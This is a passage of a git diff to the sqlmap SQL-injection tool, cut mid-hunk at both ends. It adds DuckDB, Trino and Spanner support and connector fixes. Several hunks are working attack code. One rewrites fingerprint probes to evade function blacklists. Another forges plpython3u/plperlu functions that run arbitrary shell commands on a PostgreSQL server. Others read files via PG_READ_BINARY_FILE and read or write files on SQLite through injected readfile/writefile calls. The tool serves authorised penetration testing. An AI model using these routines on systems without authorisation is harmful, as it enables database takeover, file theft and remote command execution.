logger.error(errMsg) + elif not kb.bruteMode: + errMsg = "no data retrieved" + logger.error(errMsg) return localFilePaths diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 5eacf432461..eacf4fc70c6 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -126,7 +126,8 @@ def checkDbms(self): # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) - output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) + # Note: prefix matching instead of the blacklisted SUBSTR() + output = inject.checkBooleanExpression("(SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1) LIKE '%d%%'" % number) if output: Backend.setVersion(version) diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 91e255219dc..ef06da6c83b 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -16,6 +16,8 @@ def escape(expression, quote=True): True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True + >>> Syntax.escape("SELECT 'a''b' FROM DUAL") == "SELECT CHR(97)||CHR(39)||CHR(98) FROM DUAL" + True """ def escaper(value): diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 4a71bf15bb6..33923e8f1d5 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -55,7 +55,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + # Note: also catch DataError/IntegrityError (e.g. division-by-zero, bad cast, unique violation from a + # user '--sql-query') so the commit() below still runs and clears the aborted transaction; otherwise + # PostgreSQL poisons every later query with 'InFailedSqlTransaction' and silently returns None + except (psycopg2.OperationalError, psycopg2.ProgrammingError, psycopg2.DataError, psycopg2.IntegrityError) as ex: logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 181384becbc..e52208d67af 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -5,7 +5,11 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.enums import FORK from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -13,3 +17,55 @@ class Enumeration(GenericEnumeration): def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" logger.warning(warnMsg) + + def getColumns(self, *args, **kwargs): + if not Backend.isFork(FORK.DUCKDB): + return GenericEnumeration.getColumns(self, *args, **kwargs) + + # DuckDB (PostgreSQL fork) exposes column metadata through information_schema instead of the + # pg_catalog tables (pg_attribute yields no rows), so swap those queries in for the generic routine + columns = queries[DBMS.PGSQL].columns + backup = (columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition) + + columns.inband.query = "SELECT column_name,data_type FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query = "SELECT column_name FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query2 = "SELECT data_type FROM information_schema.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" + columns.blind.count = "SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s'" + columns.inband.condition = columns.blind.condition = "column_name" + + try: + return GenericEnumeration.getColumns(self, *args, **kwargs) + finally: + columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition = backup + + def getUsers(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the users" + logger.warning(warnMsg) + return [] + + return GenericEnumeration.getUsers(self) + + def getPasswordHashes(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPasswordHashes(self) + + def getPrivileges(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPrivileges(self, query2) + + def getRoles(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getRoles(self, query2) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index d0298f2b627..9c3bdb385eb 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -11,6 +11,7 @@ from lib.core.compat import xrange from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject @@ -32,6 +33,15 @@ def stackedReadFile(self, remoteFile): return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # a superuser (or a member of the pg_read_server_files role on PostgreSQL >= 11) can read + # files in-band via pg_read_binary_file(), so file reading does not require stacked queries + return inject.getValue("ENCODE(PG_READ_BINARY_FILE('%s'),'hex')" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" @@ -65,7 +75,7 @@ def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) + inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT ARRAY_TO_STRING(ARRAY_AGG(%s), '') FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 20eed02a917..1e5e8233043 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -45,6 +45,8 @@ def getFingerprint(self): fork = FORK.OPENGAUSS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA + elif inject.checkBooleanExpression("[1,2,3][2]=2"): # NOTE: bare list literal with 1-based indexing is DuckDB-only (invalid syntax on PostgreSQL) + fork = FORK.DUCKDB else: fork = "" @@ -109,13 +111,15 @@ def checkDbms(self): logger.info(infoMsg) # NOTE: Vertica works too without the CONVERT_TO() - result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") + # NOTE: DuckDB (PostgreSQL dialect fork) lacks CONVERT_TO()/QUOTE_IDENT(), so it is accepted via its list-literal instead + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") or inject.checkBooleanExpression("[1,2,3][2]=2") if result: infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") + # Note: TO_HEX() is PostgreSQL specific as well, and not blacklisted like COALESCE() + result = inject.checkBooleanExpression("TO_HEX([RANDNUM]) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL @@ -139,7 +143,7 @@ def checkDbms(self): Backend.setVersion(">= 16.0") elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 15.0") - elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + elif inject.checkBooleanExpression("TRIM_ARRAY(ARRAY[1,2],1)=ARRAY[1]"): # Note: same release as the blacklisted BIT_COUNT() Backend.setVersion(">= 14.0") elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): Backend.setVersion(">= 13.0") @@ -151,7 +155,7 @@ def checkDbms(self): Backend.setVersionList([">= 10.0", "< 11.0"]) elif inject.checkBooleanExpression("SIND(0)=0"): Backend.setVersionList([">= 9.6.0", "< 10.0"]) - elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): + elif inject.checkBooleanExpression("ARRAY_POSITION(ARRAY[1,2],2)=2"): # Note: same release as the blacklisted TO_JSONB() Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index ea187fc79b0..d7a1ff1a78e 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -17,6 +17,8 @@ from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.compat import LooseVersion +from lib.core.convert import getText +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -100,7 +102,7 @@ def uncPathRequest(self): def copyExecCmd(self, cmd): output = None - if isStackingAvailable(): + if isStackingAvailable() or conf.direct or inject.getGadget(): # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) @@ -127,3 +129,48 @@ def checkCopyExec(self): kb.copyExecTest = self.copyExecCmd("echo 1") == '1' return kb.copyExecTest + + def _plRun(self, func, cmd): + output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False) + + if isListLike(output): + output = flattenValue(output) + output = filterNone(output) + + if not isNoneValue(output): + output = os.linesep.join(getText(_) for _ in output) + + return output + + def _plExecFunc(self): + # NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared + # library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts), + # only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked + if kb.get("plExecFunc") is None: + kb.plExecFunc = "" + + if isStackingAvailable() or conf.direct: + func = randomStr(lowercase=True) + + for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"), + ("plperlu", "return `$_[0]`;")): + inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True) + + if (self._plRun(func, "echo 1") or "").strip() == '1': + kb.plExecFunc = func + + infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language + logger.info(infoMsg) + + break + + return kb.plExecFunc or None + + def checkPlExec(self): + return self._plExecFunc() is not None + + def plExecCmd(self, cmd, silent=False): + func = self._plExecFunc() + + return self._plRun(func, cmd) if func else None diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index aad5d4bcad5..5843d9e521a 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -9,15 +9,8 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def getBanner(self): - warnMsg = "on Presto it is not possible to get the banner" - logger.warning(warnMsg) - - return None - - def getCurrentDb(self): - warnMsg = "on Presto it is not possible to get name of the current database (schema)" - logger.warning(warnMsg) + # NOTE: getBanner()/getCurrentDb() are intentionally NOT overridden - modern Presto/Trino expose + # version() and current_schema (wired in queries.xml), so the generic implementations work. def isDba(self, user=None): warnMsg = "on Presto it is not possible to test if current user is DBA" diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index fdc5b7968a6..4b6cd9e8b39 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -7,10 +7,14 @@ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import PRESTO_ALIASES from lib.request import inject @@ -21,6 +25,18 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.PRESTO) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + # Trino (the PrestoSQL fork) exposes functions PrestoDB never added (e.g. SOUNDEX), + # so a NULL-based probe on one of them distinguishes the fork from the original. + if inject.checkBooleanExpression("SOUNDEX(NULL) IS NULL"): + fork = FORK.TRINO + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -37,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.PRESTO + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -55,6 +73,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py index c24f3ab17b6..cad4fd3a932 100644 --- a/plugins/dbms/snowflake/connector.py +++ b/plugins/dbms/snowflake/connector.py @@ -32,6 +32,14 @@ def __init__(self): def connect(self): self.initConnection() + # Snowflake's mandatory 'account' identifier is carried in the DSN host field + # (e.g. -d "snowflake://user:pass@ACCOUNT/db"); warehouse/schema are optional. These were previously + # read from self.account/self.warehouse/self.schema which were never set anywhere -> AttributeError on + # every attempt. + self.account = self.hostname + self.warehouse = getattr(self, "warehouse", None) + self.schema = getattr(self, "schema", None) + try: self.connector = snowflake.connector.connect( user=self.user, diff --git a/plugins/dbms/spanner/__init__.py b/plugins/dbms/spanner/__init__.py new file mode 100644 index 00000000000..c93099298f9 --- /dev/null +++ b/plugins/dbms/spanner/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SPANNER_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.spanner.enumeration import Enumeration +from plugins.dbms.spanner.filesystem import Filesystem +from plugins.dbms.spanner.fingerprint import Fingerprint +from plugins.dbms.spanner.syntax import Syntax +from plugins.dbms.spanner.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SpannerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Spanner methods + """ + + def __init__(self): + self.excludeDbsList = SPANNER_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SPANNER] = Syntax.escape diff --git a/plugins/dbms/spanner/connector.py b/plugins/dbms/spanner/connector.py new file mode 100644 index 00000000000..83a868de757 --- /dev/null +++ b/plugins/dbms/spanner/connector.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass diff --git a/plugins/dbms/spanner/enumeration.py b/plugins/dbms/spanner/enumeration.py new file mode 100644 index 00000000000..afeddf49630 --- /dev/null +++ b/plugins/dbms/spanner/enumeration.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.settings import SPANNER_DEFAULT_SCHEMA +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getCurrentDb(self): + return SPANNER_DEFAULT_SCHEMA + + def getCurrentUser(self): + warnMsg = "on Spanner it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Spanner it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Spanner it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Spanner it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Spanner it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Spanner it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Spanner it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/spanner/filesystem.py b/plugins/dbms/spanner/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/spanner/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/spanner/fingerprint.py b/plugins/dbms/spanner/fingerprint.py new file mode 100644 index 00000000000..c0046d2aebf --- /dev/null +++ b/plugins/dbms/spanner/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import SPANNER_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SPANNER) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SPANNER + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(SPANNER_ALIASES): + setDbms(DBMS.SPANNER) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.SPANNER + logger.info(infoMsg) + + result = inject.checkBooleanExpression("FARM_FINGERPRINT('sqlmap') IS NOT NULL") + + if result: + infoMsg = "confirming %s" % DBMS.SPANNER + logger.info(infoMsg) + + result = inject.checkBooleanExpression("SAFE_CAST(1 AS INT64)=1") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER + logger.warning(warnMsg) + + return False + + setDbms(DBMS.SPANNER) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SPANNER + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/spanner/syntax.py b/plugins/dbms/spanner/syntax.py new file mode 100644 index 00000000000..bf6ab5ddb60 --- /dev/null +++ b/plugins/dbms/spanner/syntax.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + Note: Google Standard SQL (Spanner) natively supports converting integer arrays + to strings via CODE_POINTS_TO_STRING(). This is much cleaner and shorter + than chaining multiple CHR() functions with the || operator. + + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE_POINTS_TO_STRING([97, 98, 99, 100, 101, 102, 103, 104]) FROM foobar" + True + """ + + def escaper(value): + return "CODE_POINTS_TO_STRING([%s])" % ", ".join(str(_) for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/spanner/takeover.py b/plugins/dbms/spanner/takeover.py new file mode 100644 index 00000000000..6480966e80c --- /dev/null +++ b/plugins/dbms/spanner/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Spanner it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Spanner it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Spanner it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Spanner it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index ad1bc2622d4..0e86a8b5de5 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -5,14 +5,85 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import singleTimeWarnMessage +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import cachedmethod +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.enums import PLACE from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, remoteFile): - errMsg = "on SQLite it is not possible to read files" - raise SqlmapUnsupportedFeatureException(errMsg) + @cachedmethod + def _checkFunction(self, name): + """ + Checks for the presence of a specific SQL function inside the back-end + DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension, + as the sqlite3 command line client has those built in, while the host + application usually doesn't) + """ - def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - errMsg = "on SQLite it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name) + + def nonStackedReadFile(self, remoteFile): + if not self._checkFunction("readfile"): + errMsg = "on SQLite it is not possible to read files without " + errMsg += "the 'fileio' extension function 'readfile' being " + errMsg += "available inside the back-end DBMS" + raise SqlmapUnsupportedFeatureException(errMsg) + + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + def stackedReadFile(self, remoteFile): + return self.nonStackedReadFile(remoteFile) + + def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + if not self._checkFunction("writefile"): + errMsg = "on SQLite it is not possible to write files without " + errMsg += "the 'fileio' extension function 'writefile' being " + errMsg += "available inside the back-end DBMS" + raise SqlmapUnsupportedFeatureException(errMsg) + + logger.debug("encoding file to its hexadecimal string value") + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warning(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + # Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex + # string survives sqlmap's string escaping (it becomes CHAR(...) of the + # ASCII hex digits, which 'unhex' decodes back to the original bytes) + if self._checkFunction("unhex"): + content = "unhex('%s')" % fcEncodedStr + else: + warnMsg = "back-end DBMS does not have the 'unhex' function " + warnMsg += "(SQLite >= 3.41.0); the file will be written from a " + warnMsg += "textual value and non-ASCII bytes may get corrupted" + singleTimeWarnMessage(warnMsg) + + with open(localFile, "rb") as f: + content = "'%s'" % f.read().decode("latin-1") + + inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck) diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 5a2d7f159c6..c7014b7ea38 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -108,5 +108,12 @@ def checkDbms(self): return False + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() + def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX) diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index aed2d79e393..308f9081217 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -54,11 +54,20 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) @@ -70,7 +79,7 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index afc4bba1a78..072d40dd168 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -145,7 +145,7 @@ def getTables(self, bruteForce=None): for db in dbs: for blind in blinds: - query = rootQuery.inband.query % db + query = rootQuery.inband.query % ((db,) * 7) retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: @@ -265,9 +265,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: - table = {} - table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) continue infoMsg = "fetching columns " @@ -276,7 +276,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod logger.info(infoMsg) for blind in blinds: - query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True)) retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: @@ -286,8 +286,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod for name, type_ in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): columns[name] = 